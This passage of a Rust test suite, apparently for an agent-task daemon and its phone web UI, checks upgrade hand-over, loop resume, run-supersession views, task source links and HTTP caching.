18813 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
18815 lock_or_recover(&looping).live = Some(Live {
18816 stop: daemon::Stop::new(),
18817 handle: tokio::spawn(async move {
18818 let _ = loop_ended.await;
18819 }),
18820 opts: daemon::Opts::default(),
18821 });
18822
18823 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18824 let handover = tokio::spawn({
18825 let home = home.path().to_path_buf();
18826 let turns = Arc::clone(&turns);
18827 let calls = Arc::clone(&calls);
18828 async move {
18829 hand_over(
18830 &home,
18831 &looping,
18832 &turns,
18833 &|_: &[String]| Duration::from_secs(60),
18834 served,
18835 move |_| {
18836 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18837 Ok(1)
18838 },
18839 )
18840 .await
18841 }
18842 });
18843
18844 let reached = async {
18845 for _ in 0..200 {
18846 if crate::updater::read_progress(home.path())
18847 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
18848 {
18849 return;
18850 }
18851 tokio::time::sleep(Duration::from_millis(25)).await;
18852 }
18853 panic!("the hand-over never reached parking");
18854 };
18855 reached.await;
18856
18857 assert!(!turns.lock().unwrap().parking);
18859 let turn = ui
18860 .begin_talk_turn("20260901-000000-chat")
18861 .expect("claim")
18862 .expect("a turn can start while the loop parks");
18863
18864 end_loop.send(()).expect("loop still waiting");
18866 for _ in 0..200 {
18867 if turns.lock().unwrap().parking {
18868 break;
18869 }
18870 tokio::time::sleep(Duration::from_millis(25)).await;
18871 }
18872 assert!(
18873 turns.lock().unwrap().parking,
18874 "closed once the loop is done"
18875 );
18876 let refused = ui.begin_talk_turn("20260901-000000-late").err();
18877 assert!(
18878 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18879 "no turn starts once the loop is done"
18880 );
18881 assert!(
18882 ui.begin_queued_talk_turn("20260901-000000-late")
18883 .expect("queued claim")
18884 .is_none()
18885 );
18886 assert!(!handover.is_finished());
18887 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18888
18889 drop(turn);
18890 handover.await.expect("join").expect("hand over");
18891 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18892 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18893 }
18894
18895 #[tokio::test]
18898 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
18899 let home = TempDir::new().expect("temp home");
18900 let (ui, looping, turns, served) = park_fixture(&home).await;
18901 let id = "20260901-000000-stuk";
18902 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18903
18904 let calls = std::sync::atomic::AtomicUsize::new(0);
18905 hand_over(
18906 home.path(),
18907 &looping,
18908 &turns,
18909 &|_: &[String]| Duration::from_millis(300),
18910 served,
18911 |_| {
18912 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18913 Ok(1)
18914 },
18915 )
18916 .await
18917 .expect("hand over");
18918 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18919
18920 let progress = crate::updater::read_progress(home.path()).expect("progress");
18921 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
18922 assert!(
18923 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
18924 "{:?}",
18925 progress.detail
18926 );
18927 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
18928 assert!(
18929 log.contains("handing over anyway") && log.contains(id),
18930 "{log}"
18931 );
18932 }
18933
18934 #[tokio::test]
18937 async fn drain_loop_starts_no_turn_while_parking() {
18938 let tmp = TempDir::new().expect("tempdir");
18939 let repo = tmp.path().join("repo");
18940 std::fs::create_dir_all(&repo).expect("repo dir");
18941 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
18942 let home = TempDir::new().expect("temp home");
18943 let talks = Talks::at(home.path().join("talks"));
18944 let ui = Ui::new(
18945 Queue::at(home.path().join("queue")),
18946 Questions::at(home.path().join("questions")),
18947 talks.clone(),
18948 home.path().join("runs"),
18949 home.path().to_path_buf(),
18950 repo.clone(),
18951 )
18952 .with_worktrees_root(home.path().join("wt"));
18953 let cfg = config_for(&repo).await.expect("discover config");
18954 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
18955 let id = talk.id.clone();
18956 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
18957 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
18958 let turns = ui.turns();
18959 let parking = ParkingTurns::begin(&turns);
18960
18961 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
18962
18963 assert!(
18964 turns.lock().unwrap().live.is_empty(),
18965 "the slot is given up"
18966 );
18967 let fresh = talks.get(&id).expect("talk");
18968 assert_eq!(fresh.pending, "later", "the draft is still queued");
18969 assert!(fresh.turns.is_empty(), "no turn ran");
18970 drop(parking);
18971 }
18972
18973 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
18975 let looping = ui.looping();
18976 let turns = ui.turns();
18977 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18978 .await
18979 .expect("bind loopback");
18980 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18981 let told = std::sync::Mutex::new(None);
18982 hand_over(
18983 home.path(),
18984 &looping,
18985 &turns,
18986 &|_: &[String]| Duration::from_secs(5),
18987 served,
18988 |resume| {
18989 *told.lock().unwrap() = Some(resume);
18990 Ok(1)
18991 },
18992 )
18993 .await
18994 .expect("hand over");
18995 told.into_inner().unwrap().expect("successor was started")
18996 }
18997
18998 #[tokio::test]
18999 async fn a_running_loop_is_resumed_by_the_successor() {
19000 let home = TempDir::new().expect("temp home");
19001 let ui = idle_ui(&home);
19002 ui.start_loop(None).expect("start");
19003 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19004 for _ in 0..500 {
19006 if !ui.loop_view(None).running {
19007 break;
19008 }
19009 tokio::time::sleep(Duration::from_millis(2)).await;
19010 }
19011 assert!(handed_over(&home, ui).await, "a running loop must resume");
19012
19013 let successor = idle_ui(&home);
19014 assert!(!successor.loop_view(None).running);
19015 assert!(successor.resume_after_handover(true));
19016 assert!(successor.loop_view(None).running);
19017 successor.stop_loop(None, false).expect("stop");
19018 }
19019
19020 #[tokio::test]
19021 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19022 let home = TempDir::new().expect("temp home");
19023 let ui = idle_ui(&home);
19024 ui.start_loop(None).expect("start");
19025 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19026 .expect("first park");
19027 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19028 .expect("second park");
19029 assert!(handed_over(&home, ui).await);
19030 }
19031
19032 #[tokio::test]
19033 async fn a_stop_during_the_handover_wait_is_honoured() {
19034 let home = TempDir::new().expect("temp home");
19035 let ui = idle_ui(&home);
19036 ui.start_loop(None).expect("start");
19037 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19038 ui.stop_loop(None, false).expect("stop");
19039 assert!(!handed_over(&home, ui).await);
19040 }
19041
19042 #[tokio::test]
19043 async fn an_idle_loop_stays_stopped_across_the_handover() {
19044 let home = TempDir::new().expect("temp home");
19045 let ui = idle_ui(&home);
19046 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19047 assert!(!handed_over(&home, ui).await);
19048
19049 let successor = idle_ui(&home);
19050 assert!(!successor.resume_after_handover(false));
19051 assert!(!successor.loop_view(None).running);
19052 }
19053
19054 #[tokio::test]
19055 async fn a_loop_the_operator_stopped_is_not_resumed() {
19056 let home = TempDir::new().expect("temp home");
19057 let ui = idle_ui(&home);
19058 ui.start_loop(None).expect("start");
19059 ui.stop_loop(None, false).expect("stop");
19060 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19061 assert!(!handed_over(&home, ui).await);
19062 }
19063
19064 #[test]
19065 fn only_an_explicit_one_requests_a_resume() {
19066 assert!(!resume_requested(None));
19067 assert!(!resume_requested(Some("0".into())));
19068 assert!(!resume_requested(Some("".into())));
19069 assert!(resume_requested(Some("1".into())));
19070 }
19071
19072 #[test]
19073 fn the_upgrade_button_arms_before_it_restarts_anything() {
19074 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19077 assert!(APP_JS.contains("Replace the binary and restart?"));
19078 assert!(APP_JS.contains("function confirmed("));
19079 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19084 assert!(
19088 APP_JS.contains("Parking, then restarting"),
19089 "the button says what it is waiting for"
19090 );
19091 assert!(APP_JS.contains("if (!out.to)"));
19094 }
19095
19096 #[test]
19097 fn stopping_the_loop_arms_but_starting_does_not() {
19098 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
19101 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
19102 assert!(APP_JS.contains("confirmed(button, question)"));
19103 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
19106 assert!(APP_JS.contains("const label = btn.textContent;"));
19107 assert!(!APP_JS.contains("Neither direction is guarded"));
19108 }
19109
19110 #[test]
19111 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
19112 assert!(
19113 APP_JS.contains("state.health.version"),
19114 "the operator wants to know what is running even with nothing newer"
19115 );
19116 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
19117 }
19118
19119 #[test]
19120 fn the_upgrade_button_names_its_destination() {
19121 assert!(
19122 APP_JS.contains("`Update to ${update.to}`"),
19123 "pressing the button should not be a surprise about what it moves to"
19124 );
19125 }
19126
19127 #[test]
19128 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
19129 for stage in ["downloading", "replaced", "parking", "restarting"] {
19130 assert!(
19131 APP_JS.contains(&format!("\"{stage}\"")),
19132 "the phone must be able to tell {stage} apart from the others"
19133 );
19134 }
19135 assert!(APP_JS.contains(".waiting_on"));
19136 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
19141 assert!(APP_JS.contains("reconnects on its own"));
19142 }
19143
19144 #[test]
19145 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
19146 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
19155 ..APP_JS.find("function upgrade(").expect("upgrade")];
19156 assert!(
19157 !body.contains(
19158 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
19159 ),
19160 "a failed upgrade must not take the whole strip over the way it used to"
19161 );
19162 assert!(
19163 body.contains("upgradeFailNote"),
19164 "the failure has to reach the loop's own note instead"
19165 );
19166 assert_eq!(
19170 body.matches("upgradeFailNote].filter(Boolean).join")
19171 .count(),
19172 2,
19173 "both loop-why writers (quiet and control) must fold the note in"
19174 );
19175 }
19176
19177 #[test]
19178 fn an_overdue_upgrade_eventually_asks_for_a_human() {
19179 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
19182 assert!(APP_JS.contains("function upgradeOverdue("));
19183 }
19184
19185 #[test]
19186 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
19187 assert!(
19188 APP_JS.contains("Updated to ${upgradeInfo.to"),
19189 "the operator who asked for the restart wants to know it worked"
19190 );
19191 }
19192
19193 #[test]
19194 fn an_error_is_visible_from_where_the_button_is() {
19195 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
19200 ..APP_CSS.find(".alert-text").expect(".alert-text")];
19201 assert!(
19202 alert.contains("position: fixed"),
19203 "an error about the thing under your thumb has to be visible from \
19204 where your thumb is: {alert}"
19205 );
19206 assert!(
19207 alert.contains("z-index: 25"),
19208 "above the dock (20) and the run-actions FAB (15), so neither \
19209 buries it: {alert}"
19210 );
19211 assert!(
19212 alert.contains("var(--tap)"),
19213 "and clear of the dock and the home indicator: {alert}"
19214 );
19215 assert!(
19218 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
19219 "the FAB's column stays free: {alert}"
19220 );
19221 }
19222
19223 #[tokio::test]
19224 async fn an_older_attempt_says_what_replaced_it() {
19225 let fx = Fixture::start().await;
19226 let q = fx.queue();
19227 let runs = fx.runs();
19228 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19229 write_run(&runs, first, RunStatus::Stalled);
19230 write_run(&runs, second, RunStatus::Blocked);
19231
19232 let mut t = Task::new(
19233 "one task".to_owned(),
19234 "do it".to_owned(),
19235 PathBuf::from("/repo"),
19236 Source::Human,
19237 );
19238 t.runs = vec![first.to_owned(), second.to_owned()];
19239 q.put(&mut t).expect("put");
19240
19241 let rows = fx.get("/api/runs").await.json();
19245 let by = |short: &str| -> Value {
19246 rows.as_array()
19247 .unwrap()
19248 .iter()
19249 .find(|r| r["short"] == short)
19250 .cloned()
19251 .unwrap_or(Value::Null)
19252 };
19253 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
19254 assert!(
19255 by("bbbb")["superseded_by"].is_null(),
19256 "the latest attempt is not superseded by anything"
19257 );
19258 assert!(APP_JS.contains("run.superseded_by"));
19260 assert!(APP_JS.contains("Superseded by"));
19261 }
19262
19263 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
19264 let mut t = Task::new(
19265 "one task".to_owned(),
19266 "do it".to_owned(),
19267 PathBuf::from("/repo"),
19268 Source::Human,
19269 );
19270 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
19271 t.status = status;
19272 t
19273 }
19274
19275 #[test]
19276 fn source_link_picks_the_page_that_filed_the_task() {
19277 let agent = |node: &str| Source::Agent {
19278 run: "20260904-014455-ab12".to_owned(),
19279 node: node.to_owned(),
19280 };
19281 let chat = source_link(&agent("chat")).expect("chat link");
19282 assert_eq!(chat.kind, "chat");
19283 assert_eq!(chat.id, "20260904-014455-ab12");
19284 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
19285 let run = source_link(&agent("implement")).expect("run link");
19286 assert_eq!(
19287 (run.kind, run.href.as_str()),
19288 ("run", "#/runs/20260904-014455-ab12")
19289 );
19290 assert_eq!(source_link(&Source::Human), None);
19291 assert_eq!(
19292 source_link(&Source::Issue {
19293 number: 3,
19294 repo: "o/r".to_owned()
19295 }),
19296 None
19297 );
19298 let odd = source_link(&Source::Agent {
19299 run: "a b/c".to_owned(),
19300 node: "chat".to_owned(),
19301 })
19302 .expect("link");
19303 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
19304 }
19305
19306 #[test]
19307 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
19308 assert!(
19309 !APP_JS.contains("src.node === \"chat\""),
19310 "inline href rule is back"
19311 );
19312 assert!(
19313 APP_JS.matches("sourceLinkOf(").count() >= 4,
19314 "helper must serve every page"
19315 );
19316 assert!(
19317 APP_JS.matches("openChatLink(").count() >= 3,
19318 "the run page still needs its explicit chat link"
19319 );
19320 assert!(
19321 !APP_JS.contains("const openChat = el("),
19322 "the Queue card duplicates its source label link again"
19323 );
19324 assert!(
19325 APP_JS.contains("metaKids.push(link ? el(\"a\""),
19326 "the task page must link a chat source label too"
19327 );
19328 }
19329
19330 #[test]
19331 fn task_ref_carries_the_source_link_for_a_chat_task() {
19332 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19333 t.source = Source::Agent {
19334 run: "20260904-014455-ab12".to_owned(),
19335 node: "chat".to_owned(),
19336 };
19337 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
19338 let v = serde_json::to_value(&out).expect("json");
19339 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
19340 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
19341 assert_eq!(v["source_label"], t.source.label());
19342
19343 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19344 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
19345 .expect("json");
19346 assert!(v["source_link"].is_null(), "{v}");
19347 }
19348
19349 #[test]
19350 fn task_view_serializes_source_link() {
19351 let mut t = Task::new(
19352 "t".to_owned(),
19353 "t".to_owned(),
19354 PathBuf::from("/repo"),
19355 Source::Agent {
19356 run: "20260901-000000-aaaa".to_owned(),
19357 node: "implement".to_owned(),
19358 },
19359 );
19360 t.runs.clear();
19361 let v = serde_json::to_value(TaskView::from(t)).expect("json");
19362 assert_eq!(v["source_link"]["kind"], "run", "{v}");
19363 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
19364 }
19365
19366 #[test]
19367 fn task_view_serializes_urgent_flag() {
19368 let mut t = Task::new(
19369 "t".to_owned(),
19370 "t".to_owned(),
19371 PathBuf::from("/repo"),
19372 Source::Human,
19373 );
19374 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
19375 assert_eq!(v["urgent"], false, "{v}");
19376 t.urgent = true;
19377 let v = serde_json::to_value(TaskView::from(t)).expect("json");
19378 assert_eq!(v["urgent"], true, "{v}");
19379 assert!(APP_JS.contains("task.urgent === true"));
19380 }
19381
19382 #[tokio::test]
19383 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
19384 let fx = Fixture::start().await;
19385 let runs = fx.runs();
19386 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19387 write_run(&runs, old, RunStatus::Blocked);
19388 write_run(&runs, new, RunStatus::Merged);
19389 let mut t = outcome_task(&[old, new], TaskStatus::Done);
19390 fx.queue().put(&mut t).expect("put");
19391
19392 let view = fx.get(&format!("/api/runs/{old}")).await.json();
19393 let task = &view["task"];
19394 assert_eq!(task["status"], "done");
19395 assert_eq!(task["is_latest"], false);
19396 assert_eq!(task["latest"]["short"], "bbbb");
19397 assert_eq!(task["finished_by"]["id"], new);
19398 assert_eq!(task["finished_by"]["outcome"], "merged");
19399 assert_eq!(task["closed_by_hand"], false);
19400 assert_eq!(view["status"], "blocked", "the run keeps its own status");
19401 assert!(APP_JS.contains("finished_by"));
19402 assert!(APP_JS.contains("superseded by run"));
19403 }
19404
19405 #[tokio::test]
19406 async fn the_latest_run_reports_a_held_task_without_a_successor() {
19407 let fx = Fixture::start().await;
19408 let runs = fx.runs();
19409 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19410 write_run(&runs, old, RunStatus::Stalled);
19411 write_run(&runs, new, RunStatus::Blocked);
19412 let mut t = outcome_task(&[old, new], TaskStatus::Held);
19413 fx.queue().put(&mut t).expect("put");
19414
19415 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
19416 assert_eq!(task["status"], "held");
19417 assert_eq!(task["is_latest"], true);
19418 assert!(task["latest"].is_null());
19419 assert!(task["finished_by"].is_null());
19420 assert_eq!(task["closed_by_hand"], false);
19421 }
19422
19423 #[tokio::test]
19424 async fn a_direct_run_has_no_task_outcome() {
19425 let fx = Fixture::start().await;
19426 let runs = fx.runs();
19427 let id = "20260901-000000-aaaa";
19428 write_run(&runs, id, RunStatus::Blocked);
19429 let view = fx.get(&format!("/api/runs/{id}")).await.json();
19430 assert!(view["task"].is_null());
19431 }
19432
19433 #[test]
19434 fn task_outcome_does_not_guess_a_finishing_run() {
19435 let a = "20260901-000000-aaaa";
19436 let b = "20260901-000000-bbbb";
19437 let c = "20260901-000000-cccc";
19438 let dir = tempfile::tempdir().expect("tempdir");
19439 write_run(dir.path(), a, RunStatus::Blocked);
19440 write_run(dir.path(), b, RunStatus::VerifiedNoop);
19441 let read = |id: &str| read_run(dir.path(), id).ok();
19443 let t = outcome_task(&[a, b, c], TaskStatus::Done);
19446 let out = task_outcome(&t, a, 3, read);
19447 assert!(out.finished_by.is_none());
19448 assert!(out.closed_by_hand);
19449 let latest = out.latest.expect("latest");
19450 assert_eq!(latest.id, c);
19451 assert_eq!(latest.status, None);
19452 assert_eq!(latest.outcome, "record unreadable");
19453
19454 write_run(dir.path(), c, RunStatus::Ready);
19456 let t = outcome_task(&[a, c], TaskStatus::Done);
19457 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
19458 assert_eq!(out.finished_by.expect("finisher").id, c);
19459 assert!(!out.closed_by_hand);
19460
19461 let t = outcome_task(&[a, b, a], TaskStatus::Held);
19463 assert!(task_outcome(&t, a, 3, read).is_latest);
19464 }
19465
19466 #[tokio::test]
19467 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
19468 let fx = Fixture::start().await;
19473 let q = fx.queue();
19474 let runs = fx.runs();
19475 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
19476 write_run(&runs, first, RunStatus::Blocked);
19477 write_run(&runs, second, RunStatus::Merged);
19478
19479 let mut t = Task::new(
19480 "one task".to_owned(),
19481 "do it".to_owned(),
19482 PathBuf::from("/repo"),
19483 Source::Human,
19484 );
19485 t.runs = vec![first.to_owned(), second.to_owned()];
19486 q.put(&mut t).expect("put");
19487
19488 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
19489 assert_eq!(earlier["superseded_by"], "dddd");
19490 assert_eq!(earlier["latest_attempt"]["id"], second);
19491 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
19492 assert_eq!(
19493 earlier["latest_attempt"]["resolved"], true,
19494 "the run that replaced it landed, so this one reads as settled"
19495 );
19496
19497 let later = fx.get(&format!("/api/runs/{second}")).await.json();
19498 assert!(
19499 later["superseded_by"].is_null(),
19500 "the latest attempt is not superseded by anything"
19501 );
19502 assert!(
19503 later["latest_attempt"].is_null(),
19504 "the latest attempt has no later attempt of its own"
19505 );
19506
19507 assert!(APP_JS.contains("run.latest_attempt"));
19514 assert!(APP_JS.contains("data-superseded"));
19515 assert!(APP_JS.contains("#/runs/${latest.id}"));
19516 }
19517
19518 #[tokio::test]
19519 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
19520 let fx = Fixture::start().await;
19526 let q = fx.queue();
19527 let runs = fx.runs();
19528 let (a, b, c) = (
19529 "20260901-000000-aaaa",
19530 "20260901-000000-bbbb",
19531 "20260901-000000-cccc",
19532 );
19533 write_run(&runs, a, RunStatus::Blocked);
19534 write_run(&runs, b, RunStatus::Blocked);
19535 write_run(&runs, c, RunStatus::Merged);
19536
19537 let mut t = Task::new(
19538 "retried twice".to_owned(),
19539 "do it".to_owned(),
19540 PathBuf::from("/repo"),
19541 Source::Human,
19542 );
19543 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
19544 q.put(&mut t).expect("put");
19545
19546 let view = fx.get(&format!("/api/runs/{a}")).await.json();
19547 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
19548 assert_eq!(
19549 view["latest_attempt"]["id"], c,
19550 "the chain's current head, not the intermediate Blocked retry"
19551 );
19552 assert_eq!(view["latest_attempt"]["resolved"], true);
19553
19554 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
19555 assert_eq!(mid["latest_attempt"]["id"], c);
19556 assert_eq!(mid["latest_attempt"]["resolved"], true);
19557 }
19558
19559 #[tokio::test]
19560 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
19561 let fx = Fixture::start().await;
19562 let q = fx.queue();
19563 let runs = fx.runs();
19564
19565 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
19568 write_run(&runs, still_blocked_a, RunStatus::Blocked);
19569 write_run(&runs, still_blocked_b, RunStatus::Blocked);
19570 let mut t1 = Task::new(
19571 "still stuck".to_owned(),
19572 "do it".to_owned(),
19573 PathBuf::from("/repo"),
19574 Source::Human,
19575 );
19576 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
19577 q.put(&mut t1).expect("put");
19578 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
19579 assert_eq!(view1["latest_attempt"]["resolved"], false);
19580 assert_eq!(view1["latest_attempt"]["status"], "blocked");
19581 assert_eq!(view1["latest_attempt"]["done"], true);
19582
19583 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
19585 write_run(&runs, run_a, RunStatus::Blocked);
19586 write_run(&runs, run_b, RunStatus::Implementing);
19587 let mut t3 = Task::new(
19588 "retrying".to_owned(),
19589 "do it".to_owned(),
19590 PathBuf::from("/repo"),
19591 Source::Human,
19592 );
19593 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
19594 q.put(&mut t3).expect("put");
19595 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
19596 assert_eq!(view3["latest_attempt"]["id"], run_b);
19597 assert_eq!(view3["latest_attempt"]["resolved"], false);
19598 assert_eq!(view3["latest_attempt"]["done"], false);
19599
19600 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
19605 write_run(&runs, noop_a, RunStatus::Blocked);
19606 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
19607 let mut t2 = Task::new(
19608 "claims done".to_owned(),
19609 "do it".to_owned(),
19610 PathBuf::from("/repo"),
19611 Source::Human,
19612 );
19613 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
19614 q.put(&mut t2).expect("put");
19615 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
19616 assert_eq!(
19617 view2["latest_attempt"]["resolved"], false,
19618 "an unverified no-op claim must not read as a confirmed finish"
19619 );
19620
19621 assert!(APP_JS.contains("latest.resolved"));
19624 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
19627 assert!(APP_JS.contains("Latest attempt: "));
19628 assert!(APP_JS.contains("in flight"));
19629 assert!(APP_JS.contains("not resolved"));
19630 }
19631
19632 #[tokio::test]
19633 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
19634 let fx = Fixture::start().await;
19635 let js = fx.get("/app.js").await;
19641 assert_eq!(js.status, 200);
19642 let tag = js
19643 .header("etag")
19644 .expect("an etag to revalidate against")
19645 .to_owned();
19646 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
19647 assert_eq!(
19648 js.header("cache-control"),
19649 Some("no-cache, must-revalidate"),
19650 "the phone has to ask every time"
19651 );
19652
19653 let again = fx
19656 .get_with("/app.js", &[("if-none-match", tag.as_str())])
19657 .await;
19658 assert_eq!(
19659 again.status, 304,
19660 "a deck it already has costs one round trip"
19661 );
19662 assert!(again.body.is_empty(), "304 carries no body");
19663
19664 let weak = fx
19667 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
19668 .await;
19669 assert_eq!(weak.status, 304);
19670 let stale = fx
19671 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
19672 .await;
19673 assert_eq!(stale.status, 200, "an older build must be replaced");
19674 assert!(stale.body.contains("renderRunActions"));
19675 }
19676
19677 #[test]
19678 fn the_task_detail_has_an_actions_fab_and_sheet() {
19679 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
19680 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
19681 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
19682 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
19684 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
19685 assert!(APP_JS.contains("renderTaskActions(task);"));
19687 assert!(APP_JS.contains("renderTaskActions(null);"));
19688 let sheet = APP_JS
19690 .find("function renderTaskActions")
19691 .expect("sheet renderer");
19692 let body = &APP_JS[sheet..sheet + 3000];
19693 assert!(body.contains("changePriority("));
19694 assert!(body.contains("openTaskEdit(task)"));
19695 assert!(body.contains("renderTaskHoldBox(host"));
19696 assert!(body.contains("renderTaskDoneBox(host"));
19697 assert!(body.contains("renderTaskDeleteBox(host"));
19698 assert!(APP_JS.contains("API.priority(id)"));
19699 assert!(APP_JS.contains("API.deleteTask(id)"));
19700 assert!(APP_JS.contains("location.hash = \"#/queue\""));
19702 assert!(APP_JS.contains("$(\"task-actions-error\")"));
19704 }
19705
19706 #[test]
19707 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
19708 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
19709 let actions = INDEX_HTML
19710 .find("id=\"run-actions-box\"")
19711 .expect("actions box");
19712 assert!(task < actions, "the task entry comes first in the sheet");
19713 assert!(APP_JS.contains("renderRunTaskEntry"));
19714 assert!(APP_JS.contains("\"Open task \""));
19715 assert!(APP_JS.contains("started directly, no task"));
19717 assert!(APP_JS.contains("sheet-task-link"));
19718 assert!(APP_JS.contains("task-chip-link"));
19719 }
19720
19721 #[test]
19722 fn the_deck_never_sends_the_operator_to_a_terminal() {
19723 assert!(
19726 !APP_JS.contains("Run `magi fold` first"),
19727 "the deck must offer the fold, not prescribe a shell command"
19728 );
19729 assert!(APP_JS.contains("foldRun:"));
19730 assert!(APP_JS.contains("resumeRun:"));
19731 assert!(APP_JS.contains("renderRunActions"));
19732
19733 assert!(APP_JS.contains("armedFold"));
19735 assert!(APP_JS.contains("Yes, fold worktrees"));
19736
19737 assert!(APP_JS.contains("can no longer be resumed"));
19740 }
19741
19742 #[test]
19743 fn a_finished_run_explains_itself_with_its_own_last_line() {
19744 assert!(
19750 !APP_JS.contains("collapsed on agent quota"),
19751 "a stall must not be explained by a cause the deck did not check"
19752 );
19753 assert!(
19754 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
19755 "and a block must not offer a guess with an `or` in it"
19756 );
19757
19758 assert!(
19762 APP_JS.contains("setText(r.event, run.event || \"\")"),
19763 "the run's last line is rendered unconditionally"
19764 );
19765 assert!(
19766 !APP_JS.contains("moving && run.event"),
19767 "and never gated on the run still moving"
19768 );
19769
19770 assert!(APP_JS.contains("lost to quota"));
19772 }
19773
19774 #[test]
19796 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
19797 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
19798 let shapes_body_start =
19799 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
